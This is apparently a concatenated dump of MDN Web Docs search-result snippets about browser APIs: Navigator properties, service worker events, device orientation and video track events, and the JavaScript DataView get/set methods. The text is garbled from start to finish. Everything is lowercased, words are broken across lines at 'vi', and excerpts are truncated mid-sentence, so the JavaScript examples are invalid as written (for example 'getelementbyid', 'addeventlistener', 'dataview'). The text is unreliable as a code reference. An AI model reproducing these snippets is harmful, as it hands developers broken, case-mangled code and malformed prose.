vigator.requestmediakeysystemaccess() method returns a promise which delivers a mediakeysystemaccess object that can be used to access a particular media key system, which can in turn be used to create keys for decrypting a media stream.
... this method is part of the encrypted media extensions api, which brings support for encrypted media and drm-protected
video to the web.
... this method may have user-
visible effects such as asking for permission to access one or more system resources.
... syntax promise = na
vigator.requestmediakeysystemaccess(keysystem, supportedconfigurations); parameters keysystem a domstring identifying the key system.
Navigator.vendor - Web APIs
the value of the na
vigator vendor property is always either "google inc.", "apple computer, inc.", or (in firefox) the empty string.
... syntax venstring = window.na
vigator.vendor value either "google inc.", "apple computer, inc.", or (in firefox) the empty string.
... specifications specification status comment html li
ving standardthe definition of 'na
vigatorid: vendor' in that specification.
... li
ving standard ...
NavigatorID.appCodeName - Web APIs
the value of the na
vigatorid.appcodename property is always "mozilla", in any browser.
... syntax codename = na
vigator.appcodename value the string "mozilla".
... specifications specification status comment html li
ving standardthe definition of 'na
vigatorid.appcodename' in that specification.
... li
ving standard initial definition ...
NavigatorID.appName - Web APIs
the value of the na
vigatorid.appname property is always "netscape", in any browser.
... syntax appname = na
vigator.appname value the string "netscape".
... specifications specification status comment html li
ving standardthe definition of 'na
vigatorid.appname' in that specification.
... li
ving standard initial definition ...
NavigatorID.platform - Web APIs
syntax platform = na
vigator.platform value a domstring identifying the platform on which the browser is running, or an empty string if the browser declines to (or is unable to) identify the platform.
... for example: "macintel", "win32", "freebsd i386", "webtv os" example console.log(na
vigator.platform); usage notes most browsers, including chrome, edge, and firefox 63 and later, return "win32" even if running on a 64-bit version of windows.
... specifications specification status comment html li
ving standardthe definition of 'na
vigatorid.platform' in that specification.
... li
ving standard initial definition.
NavigatorID.product - Web APIs
the value of the na
vigatorid.product property is always "gecko", in any browser.
... syntax productname = na
vigator.product value the string "gecko".
... specifications specification status comment html li
ving standardthe definition of 'na
vigatorid.product' in that specification.
... li
ving standard initial definition ...
NavigatorLanguage.language - Web APIs
the na
vigatorlanguage.language read-only property returns a string representing the preferred language of the user, usually the language of the browser ui.
... syntax const lang = na
vigator.language value a domstring.
... example if (/^en\b/.test(na
vigator.language)) { dolangselect(window.na
vigator.language); } specifications specification status comment html li
ving standardthe definition of 'na
vigatorlanguage: language' in that specification.
... li
ving standard initial definition ...
NavigatorStorage.storage - Web APIs
the na
vigatorstorage.storage read-only property returns the singleton storagemanager object used to access the overall storage capabilities of the browser for the current site or app.
... syntax var storagemanager = na
vigator.storage; value a storagemanager object you can use to maintain persistence for stored data, as well as to determine roughly how much room there is for data to be stored.
... specifications specification status comment storagethe definition of 'na
vigator.storage' in that specification.
... li
ving standard initial definition.
NavigatorStorage - Web APIs
the na
vigatorstorage mixin adds to the na
vigator and workerna
vigator interfaces the na
vigator.storage property, which pro
vides access to the storagemanager singleton used for controlling the persistence of data stores as well as obtaining information note: this feature is available in web workers.
... there are many apis which pro
vide ways for web content to store data on a user's computer, including cookies, the web storage api (window.localstorage and window.sessionstorage), and indexeddb.
... methods the na
vigatorstorage mixin has no methods.
... specifications specification status comment storage li
ving standard initial definition.
PerformanceNavigation.redirectCount - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... the legacy performancena
vigation.redirectcount read-only property returns an unsigned short representing the number of redirects done before reaching the page.
... syntax amount = performancena
vigation.redirectcount; specifications specification status comment na
vigation timingthe definition of 'performancena
vigation.redirectcount' in that specification.
PerformanceNavigationTiming.redirectCount - Web APIs
the redirectcount property returns a timestamp representing the number of redirects since the last non-redirect na
vigation under the current browsing context.
... syntax perfentry.redirectcount; return value a number representing the number of redirects since the last non-redirect na
vigation under the current browsing context.
... function print_nav_timing_data() { // use getentriesbytype() to just get the "na
vigation" events var perfentries = performance.getentriesbytype("na
vigation"); for (var i=0; i < perfentries.length; i++) { console.log("= na
vigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other pro...
...perties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment na
vigation timing level 2the definition of 'redirectcount' in that specification.
ReadableStreamBYOBRequest.view - Web APIs
the
view getter property of the readablestreambyobrequest interface returns the current
view.
... syntax var
view = readablestreambyobrequestinstance.
view; value a typed array representing the destination region to which the controller can write generated data.
... specifications specification status comment streamsthe definition of '
view' in that specification.
... li
ving standard initial definition.
ScrollToOptions.behavior - Web APIs
the beha
vior property of the scrolltooptions dictionary specifies whether the scrolling should animate smoothly, or happen instantly in a single jump.
... syntax beha
vior: scrollbeha
vior value an enum, the value of which can be one of the following: smooth: the scrolling animates smoothly.
... when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, beha
vior: scrollinput.checked ?
... 'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom)
view modulethe definition of 'beha
vior' in that specification.
SecurityPolicyViolationEvent.sample - Web APIs
the sample read-only property of the securitypolicy
violationevent interface is a domstring representing a sample of the resource that caused the
violation.
... syntax let sample =
violationeventinstance.sample; value a domstring containing a sample of the resource that caused the
violation, usually the first 40 characters.
... this will only be populated if the resource is an inline script, event handler, or style — external resources causing a
violation will not generate a sample.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.sample); }); specifications specification status comment content security policy level 3the definition of 'sample' in that specification.
ServiceWorker.state - Web APIs
the state read-only property of the ser
viceworker interface returns a string representing the current state of the ser
vice worker.
... syntax someurl = ser
viceworker.state value a ser
viceworkerstate definition (see the spec.) examples this code snippet is from the ser
vice worker registration-events sample (live demo).
... the code listens for any change in the ser
viceworker.state and returns its value.
... var ser
viceworker; if (registration.installing) { ser
viceworker = registration.installing; document.queryselector('#kind').textcontent = 'installing'; } else if (registration.waiting) { ser
viceworker = registration.waiting; document.queryselector('#kind').textcontent = 'waiting'; } else if (registration.active) { ser
viceworker = registration.active; document.queryselector('#kind').textcontent = 'active'; } if (ser
viceworker) { logstate(ser
viceworker.state); ser
viceworker.addeventlistener('statechange', function(e) { logstate(e.target.state); }); } specifications specification status comment ser
vice workersthe definition of 'state' in that specification.
ServiceWorkerContainer.controller - Web APIs
the controller read-only property of the ser
viceworkercontainer interface returns a ser
viceworker object if its state is activated (the same object returned by ser
viceworkerregistration.active).
... syntax var mycontroller = na
vigator.ser
viceworker.controller; value a ser
viceworker object.
... example if ('ser
viceworker' in na
vigator) { // do a one-off check to see if a ser
vice worker's in control.
... if (na
vigator.ser
viceworker.controller) { console.log(`this page is currently controlled by: ${na
vigator.ser
viceworker.controller}`); } else { console.log('this page is not currently controlled by a ser
vice worker.'); } } else { console.log('ser
vice workers are not supported.'); } specifications specification status comment ser
vice workersthe definition of 'ser
viceworkerregistration.controller' in that specification.
ServiceWorkerContainer.onmessage - Web APIs
the onmessage property of the ser
viceworkercontainer interface is an event handler fired whenever a message event occurs — when incoming messages are received to the ser
viceworkercontainer object (e.g.,
via a client.postmessage() call).
... note: messages received from ser
vice worker contexts (e.g.
...(they used to be represented by ser
viceworkermessageevent objects, which have now been deprecated.) syntax ser
viceworkercontainer.onmessage = function(messageevent) { ...
... } example na
vigator.ser
viceworker.onmessage = function(messageevent) { console.log(`received data: ${messageevent.data}`); } specifications specification status comment ser
vice workersthe definition of 'ser
viceworkercontainer: onmessage' in that specification.
ServiceWorkerGlobalScope: activate event - Web APIs
the activate event of the ser
viceworkerglobalscope interface is fired when a ser
viceworkerregistration acquires a new ser
viceworkerregistration.active worker.
... bubbles no cancelable no interface extendableevent event handler property ser
viceworkerglobalscope.onactivate examples the following snippet shows how you could use an activate event handler to upgrade a cache.
... globalscope.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); you can also set up the event handler using the ser
viceworkerglobalscope.onactivate property: globalscope.onactivate = function(event) { ...
... }; specifications specification status comment ser
vice workersthe definition of 'activate' in that specification.
ServiceWorkerGlobalScope: install event - Web APIs
the install event of the ser
viceworkerglobalscope interface is fired when a ser
viceworkerregistration acquires a new ser
viceworkerregistration.installing worker.
... bubbles no cancelable no interface extendableevent event handler property ser
viceworkerglobalscope.oninstall examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the ser
vice worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', ...
... '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); you can also set up the event handler using the ser
viceworkerglobalscope.oninstall property: globalscope.oninstall = function(event) { ...
... }; specifications specification status comment ser
vice workersthe definition of 'install' in that specification.
ServiceWorkerGlobalScope.onactivate - Web APIs
the onactivate property of the ser
viceworkerglobalscope interface is an event handler fired whenever an activate event occurs (when the ser
vice worker activates).
... this happens after installation, when the page to be controlled by the ser
vice worker refreshes.
... syntax ser
viceworkerglobalscope.onactivate = function(event) { ...
... then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); specifications specification status comment ser
vice workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.onpush - Web APIs
the ser
viceworkerglobalscope.onpush event of the ser
viceworkerglobalscope interface is fired whenever a push message is received by a ser
vice worker
via a push server.
... syntax ser
viceworkerglobalscope.onpush = function(pushevent) { ...
...}) example the following example takes data from a pushevent and displays it on all of the ser
vice worker's clients.
...this event is specified in the push api, but accessed through ser
viceworkerglobalscope.
ServiceWorkerRegistration.active - Web APIs
the active property of the ser
viceworkerregistration interface returns a ser
vice worker whose ser
viceworker.state is activated.
... an active worker controls a ser
viceworkerclient if the client's url falls within the scope of the registration (the scope option set when ser
viceworkercontainer.register is first called.) note: this feature is available in web workers.
... syntax var ser
viceworker = ser
viceworkerregistration.active; value a ser
viceworker object's property, if it is currently in an activated state.
... specifications specification status comment ser
vice workersthe definition of 'ser
viceworkerregistration.active' in that specification.
ServiceWorkerRegistration.pushManager - Web APIs
the pushmanager property of the ser
viceworkerregistration interface returns a reference to the pushmanager interface for managing push subscriptions; this includes support for subscribing, getting an active subscription, and accessing push permission status.
... syntax var pushmanager = ser
viceworkerregistration.pushmanager; value a pushmanager object.
...} na
vigator.ser
viceworker.register('ser
viceworker.js').then( function(ser
viceworkerregistration) { ser
viceworkerregistration.pushmanager.subscribe().then( function(pushsubscription) { console.log(pushsubscription.subscriptionid); console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
...in a production en
vironment it might make sense to // also report information about errors back to the // application server.
SpeechRecognition.serviceURI - Web APIs
the ser
viceuri property of the speechrecognition interface specifies the location of the speech recognition ser
vice used by the current speechrecognition to handle the actual recognition.
... the default is the user agent's default speech ser
vice.
... syntax var myser
viceuri = myspeechrecognition.ser
viceuri; myspeechrecognition.ser
viceuri = 'path/to/my/ser
vice/'; value a domstring representing the uri of the speech recognition ser
vice.
... examples var recognition = new speechrecognition(); recognition.ser
viceuri = 'http://www.example.com'; ...
VideoPlaybackQuality.creationTime - Web APIs
the read-only creationtime property on the
videoplaybackquality interface reports the number of milliseconds since the browsing context was created this quality sample was recorded.
... syntax value =
videoplaybackquality.creationtime; value a domhighrestimestamp object which indicates the number of milliseconds that elapased between the time the browsing context was created and the time at which this sample of the
video quality was obtained.
... example this example calls get
videoplaybackquality() to obtain a
videoplaybackquality object, then determines what percentage of frames have been lost by either corruption or being dropped.
... var
videoelem = document.getelementbyid("my_
vid"); var quality =
videoelem.get
videoplaybackquality(); if ((quality.corrupted
videoframes + quality.dropped
videoframes)/quality.total
videoframes > 0.1) { lostframesthresholdexceeded(); } specifications specification status comment media playback qualitythe definition of '
videoplaybackquality.corrupted
videoframes' in that specification.
VideoTrackList: change event - Web APIs
the change event is fired when a
video track is made active or inactive, for example by changing the track's selected property.
... bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const
videoelement = document.queryselector('
video');
videoelement.
videotracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); // changing the value of `selected` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track =
videoelement.
videotracks[0]; track.selected = !track.selected; }); using the onchange event handler property: const
videoelement = document.queryselector('
video');
videoelement.
videotracks.onchange = (event) => { console.log(`'${event.type}' event fir...
...ed`); }; // changing the value of `selected` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track =
videoelement.
videotracks[0]; track.selected = !track.selected; }); specifications specification status html li
ving standardthe definition of 'change' in that specification.
... li
ving standard ...
VideoTrackList.selectedIndex - Web APIs
the read-only
videotracklist property selectedindex returns the index of the currently selected track, if any, or -1 otherwise.
... syntax var index =
videotracklist.selectedindex; value a number indicating the index of the currently selected track, if any, or -1 otherwise.
... specifications specification status comment html li
ving standardthe definition of '
videotracklist: selectedindex' in that specification.
... li
ving standard ...
Window: devicemotion event - Web APIs
the de
vicemotion event is fired at a regular interval and indicates the amount of physical force of acceleration the de
vice is recei
ving at that time.
... it also pro
vides information about the rate of rotation, if available.
... bubbles no cancelable no interface de
vicemotionevent event handler property window.onde
vicemotion examples function handlemotionevent(event) { var x = event.accelerationincludinggra
vity.x; var y = event.accelerationincludinggra
vity.y; var z = event.accelerationincludinggra
vity.z; // do something awesome.
... } window.addeventlistener("de
vicemotion", handlemotionevent, true); specifications specification status de
viceorientation event specificationthe definition of 'de
vicemotion event' in that specification.
Window: deviceorientation event - Web APIs
the de
viceorientation event is fired when fresh data is available from an orientation sensor about the current orientation of the de
vice as compared to the earth coordinate frame.
... this data is gathered from a magnetometer inside the de
vice.
... bubbles no cancelable no interface de
viceorientationevent event handler property window.onde
viceorientation examples if (window.de
viceorientationevent) { window.addeventlistener("de
viceorientation", function(event) { // alpha: rotation around z-axis var rotatedegrees = event.alpha; // gamma: left to right var lefttoright = event.gamma; // beta: front back motion var fronttoback = event.beta; handleorientationevent(fronttoback, lefttoright, rotatedegrees); }, true); } var handleorientationevent = function(fronttoback, lefttoright, rotatedegrees) { // do something amazing }; specifications specificatio...
...n status de
viceorientation event specificationthe definition of 'de
viceorientation event' in that specification.
Window.navigator - Web APIs
the window.na
vigator read-only property returns a reference to the na
vigator object, which has methods and properties about the application running the script.
... syntax na
vigatorobject = window.na
vigator examples example #1: browser detect and return a string var sbrowser, susrag = na
vigator.useragent; // the order matters here, and this may report false positives for unlisted browsers.
....181 safari/537.36" } else if (susrag.indexof("safari") > -1) { sbrowser = "apple safari"; // "mozilla/5.0 (iphone; cpu iphone os 11_4 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/11.0 mobile/15e148 safari/604.1 980x1306" } else { sbrowser = "unknown"; } alert("you are using: " + sbrowser); specifications specification status comment html li
ving standardthe definition of 'window: na
vigator' in that specification.
... li
ving standard ...
Window.ondevicelight - Web APIs
specifies an event listener to receive de
vicelight events.
... these events occur when the de
vice's light level sensor detects a change in the intensity of the ambient light level.
... syntax window.onde
vicelight = funcref where funcref is a function to be called when the de
vicelight event occurs.
... these events are of type de
vicelightevent.
Window.ondevicemotion - Web APIs
an event handler for the de
vicemotion events sent to the window.
... syntax window.onde
vicemotion = funcref; where funcref is a reference to a function.
... this function receives a de
vicemotionevent object describing the motion that occurred.
... specifications specification status comment de
viceorientation event specification editor's draft initial definition.
window.ondeviceorientation - Web APIs
summary an event handler for the de
viceorientation event, which contains information about a relative de
vice orientation change.
... syntax window.onde
viceorientation = function(event) { ...
... }; window.addeventlistener('de
viceorientation', function(event) { ...
... }); specifications specification status comment de
viceorientation event specification editor's draft initial specification.
Window.ondeviceproximity - Web APIs
the onde
viceproximity property of the window interface specifies an eventhandler to receive de
viceproximity events.
... these events occur when the de
vice sensor detects that an object becomes closer to or farther from the de
vice.
... syntax window.onuserproximity = funcref where funcref is a function to be called when the de
viceproximity event occurs.
... these events are of type de
viceproximityevent.
WindowClient.visibilityState - Web APIs
the
visibilitystate read-only property of the windowclient interface indicates the
visibility of the current client.
... this value can be one of "hidden", "
visible", or "prerender".
... syntax var my
visstate = windowclient.
visibilitystate; value a domstring (see document.
visibilitystate for values).
... example event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (let i = 0; i < clientlist.length; i++) { let client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if (client.
visibilitystate === 'hidden') return client.focus(); } } } if (clients.openwindow) { return clients.openwindow('/'); } })); }); specifications specification status comment ser
vice workersthe definition of '
visibilitystate' in that specification.
XRView.projectionMatrix - Web APIs
the xr
view interface's read-only projectionmatrix property specifies the projection matrix to apply to the underlying
view.
... syntax let projectionmatrix = xr
view.projectionmatrix; value a float32array object representing the projection matrix for the
view.
... the projection matrix for each eye's
view is used to ensure that the correct area of the scene is presented to each eye in order to create a believable 3d scene without introducing discomfort for the user.
... examples specifications specification status comment webxr de
vice apithe definition of 'xr
view.projectionmatrix' in that specification.
XRViewport.height - Web APIs
the read-only xr
viewport property height specifies the height, in pixels, of the
viewport onto the drawing surface within which the webxr
view is to be rendered.
... syntax height = xr
viewport.height; value the
viewport's height in pixels.
... examples see the main xr
viewport page for examples.
... specifications specification status comment webxr de
vice apithe definition of 'xr
viewport.height' in that specification.
Breadcrumb Navigation - CSS: Cascading Style Sheets
breadcrumb na
vigation helps the user to understand their location in the website by pro
viding a breadcrumb trail back to the start page.
... requirements the items typically display inline with a separator to indicate a hierarchy between indi
vidual pages.
... choices made this pattern is laid out using a simple flex layout demonstrating how a line of css can give us our na
vigation.
... accessibility concerns i have used the aria-label and aria-current attributes to help users understand what this na
vigation is and where the current page is in the structure.
Using device orientation with 3D transforms - Developer guides
this article pro
vides tips on how to use de
vice orientation information in tandem with css 3d transforms.
...there are however two corrections that should be applied to those values: the initial alpha value is 180 (de
vice flat on the back, top of the screen pointing 12:00), so the rotatez value should be alpha - 180 the y axis of the screen coordinate system is inverted, such that translatey(100px) moves an element 100px down, so the rotatey value should be -gamma finally, the order of the three different rotations is very important to accurately convert an orientation to a 3d rotation: rotatez, then rotatex and then rotatey.
... here's a simple code snippet to sum it up: var elem = document.getelementbyid("
view3d"); window.addeventlistener("de
viceorientation", function(e) { // remember to use vendor-prefixed transform property elem.style.transform = "rotatez(" + ( e.alpha - 180 ) + "deg) " + "rotatex(" + e.beta + "deg) " + "rotatey(" + ( -e.gamma ) + "deg)"; }); orientation compensation compensating the orientation of the de
vice can be useful to create parallax effects or augmented reality.
... this is achieved by inverting the pre
vious order of rotations and negating the alpha value: var elem = document.getelementbyid("
view3d"); window.addeventlistener("de
viceorientation", function(e) { // again, use vendor-prefixed transform property elem.style.transform = "rotatey(" + ( -e.gamma ) + "deg)" + "rotatex(" + e.beta + "deg) " + "rotatez(" + - ( e.alpha - 180 ) + "deg) "; }); rotate3d to orientation should you ever need to convert a rotate3d axis-angle to orientation euler angles, you can use the following algorithm: // convert a rotate3d axis-angle to de
viceorientation angles function orient( aa ) { var x = aa.x, y = aa.y, z = aa.z, a = aa.a, c = math.cos( aa.a ), s = math.sin( aa.a ), t = 1 - c, // axis-angle to rotation mat...
ArrayBuffer.isView() - JavaScript
the arraybuffer.is
view() method determines whether the passed value is one of the arraybuffer
views, such as typed array objects or a data
view.
... syntax arraybuffer.is
view(value) parameters value the value to be checked.
... return value true if the given argument is one of the arraybuffer
views; otherwise, false.
... examples using is
view arraybuffer.is
view(); // false arraybuffer.is
view([]); // false arraybuffer.is
view({}); // false arraybuffer.is
view(null); // false arraybuffer.is
view(undefined); // false arraybuffer.is
view(new arraybuffer(10)); // false arraybuffer.is
view(new uint8array()); // true arraybuffer.is
view(new float32array()); // true arraybuffer.is
view(new int8array(10).subarray(0, 3)); // true const buffer = new arraybuffer(2); const dv = new data
view(buffer); arraybuffer.is
view(dv); // true specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.is
view' in that specification.
DataView.prototype.byteLength - JavaScript
the bytelength accessor property represents the length (in bytes) of this
view from the start of its arraybuffer or sharedarraybuffer.
...the value is established when an data
view is constructed and cannot be changed.
... if the data
view is not specifying an offset or a bytelength, the bytelength of the referenced arraybuffer or sharedarraybuffer will be returned.
... examples using the bytelength property var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.bytelength; // 8 (matches the bytelength of the buffer) var data
view2 = new data
view(buffer, 1, 5); data
view2.bytelength; // 5 (as specified when constructing the data
view) var data
view3 = new data
view(buffer, 2); data
view3.bytelength; // 6 (due to the offset of the constructed data
view) specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.bytelength' in that specification.
DataView.prototype.getBigInt64() - JavaScript
the getbigint64() method gets a signed 64-bit integer (long long) at the specified byte offset from the start of the data
view.
... syntax data
view.getbigint64(byteoffset [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the
view to read the data from.
... errors thrown rangeerror thrown if the byteoffset is set such that it would read beyond the end of the
view.
... examples using the getbigint64 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.getbigint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.getbigint64()' in that specification.
DataView.prototype.getBigUint64() - JavaScript
the getbiguint64() method gets an unsigned 64-bit integer (unsigned long long) at the specified byte offset from the start of the data
view.
... syntax data
view.getbiguint64(byteoffset [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the
view to read the data from.
... errors thrown rangeerror thrown if the byteoffset is set such that it would read beyond the end of the
view.
... examples using the getbiguint64 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.getbiguint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.getbiguint64()' in that specification.
DataView.prototype.getFloat32() - JavaScript
the getfloat32() method gets a signed 32-bit float (float) at the specified byte offset from the start of the data
view.
... syntax data
view.getfloat32(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to read the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the
view.
... examples using the getfloat32 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.getfloat32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.getfloat32' in that specification.
DataView.prototype.getFloat64() - JavaScript
the getfloat64() method gets a signed 64-bit float (double) at the specified byte offset from the start of the data
view.
... syntax data
view.getfloat64(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to read the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the
view.
... examples using the getfloat64 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.getfloat64(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.getfloat64' in that specification.
DataView.prototype.getInt16() - JavaScript
the getint16() method gets a signed 16-bit integer (short) at the specified byte offset from the start of the data
view.
... syntax data
view.getint16(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to read the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the
view.
... examples using the getint16 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.getint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.getint16' in that specification.
DataView.prototype.getInt32() - JavaScript
the getint32() method gets a signed 32-bit integer (long) at the specified byte offset from the start of the data
view.
... syntax data
view.getint32(byteoffset [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the
view where to read the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the
view.
... examples using the getint32 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.getint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.getint32' in that specification.
DataView.prototype.getInt8() - JavaScript
the getint8() method gets a signed 8-bit integer (byte) at the specified byte offset from the start of the data
view.
... syntax data
view.getint8(byteoffset) parameters byteoffset the offset, in byte, from the start of the
view where to read the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the
view.
... examples using the getint8 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.getint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.getint8' in that specification.
DataView.prototype.getUint16() - JavaScript
the getuint16() method gets an unsigned 16-bit integer (unsigned short) at the specified byte offset from the start of the data
view.
... syntax data
view.getuint16(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to read the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the
view.
... examples using the getuint16 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.getuint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.getuint16' in that specification.
DataView.prototype.getUint32() - JavaScript
the getuint32() method gets an unsigned 32-bit integer (unsigned long) at the specified byte offset from the start of the data
view.
... syntax data
view.getuint32(byteoffset [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to read the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the
view.
... examples using the getuint32 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.getuint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.getuint32' in that specification.
DataView.prototype.getUint8() - JavaScript
the getuint8() method gets an unsigned 8-bit integer (unsigned byte) at the specified byte offset from the start of the data
view.
... syntax data
view.getuint8(byteoffset) parameters byteoffset the offset, in byte, from the start of the
view where to read the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the
view.
... examples using the getuint8 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.getuint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.getuint8' in that specification.
DataView.prototype.setBigInt64() - JavaScript
the setbigint64() method stores a signed 64-bit integer (long long) value at the specified byte offset from the start of the data
view.
... syntax data
view.setbigint64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the
view to store the data from.
... errors thrown rangeerror thrown if the byteoffset is set such that it would store beyond the end of the
view.
... examples using the setbigint64 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.setbigint64(0, 3n); data
view.getbigint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.setbigint64()' in that specification.
DataView.prototype.setBigUint64() - JavaScript
the setbiguint64() method stores an unsigned 64-bit integer (unsigned long long) value at the specified byte offset from the start of the data
view.
... syntax data
view.setbiguint64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in bytes, from the start of the
view to store the data from.
... errors thrown rangeerror thrown if the byteoffset is set such that it would store beyond the end of the
view.
... examples using the setbiguint64 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.setbiguint64(0, 3n); data
view.getbiguint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.setbiguint64()' in that specification.
DataView.prototype.setFloat32() - JavaScript
the setfloat32() method stores a signed 32-bit float (float) value at the specified byte offset from the start of the data
view.
... syntax data
view.setfloat32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to store the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the
view.
... examples using the setfloat32 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.setfloat32(1, 3); data
view.getfloat32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.setfloat32' in that specification.
DataView.prototype.setFloat64() - JavaScript
the setfloat64() method stores a signed 64-bit float (double) value at the specified byte offset from the start of the data
view.
... syntax data
view.setfloat64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to store the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the
view.
... examples using the setfloat64 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.setfloat64(0, 3); data
view.getfloat64(0); // 3 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.setfloat64' in that specification.
DataView.prototype.setInt16() - JavaScript
the setint16() method stores a signed 16-bit integer (short) value at the specified byte offset from the start of the data
view.
... syntax data
view.setint16(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to store the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the
view.
... examples using the setint16 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.setint16(1, 3); data
view.getint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.setint16' in that specification.
DataView.prototype.setInt32() - JavaScript
the setint32() method stores a signed 32-bit integer (long) value at the specified byte offset from the start of the data
view.
... syntax data
view.setint32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to store the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the
view.
... examples using the setint32 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.setint32(1, 3); data
view.getint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.setint32' in that specification.
DataView.prototype.setInt8() - JavaScript
the setint8() method stores a signed 8-bit integer (byte) value at the specified byte offset from the start of the data
view.
... syntax data
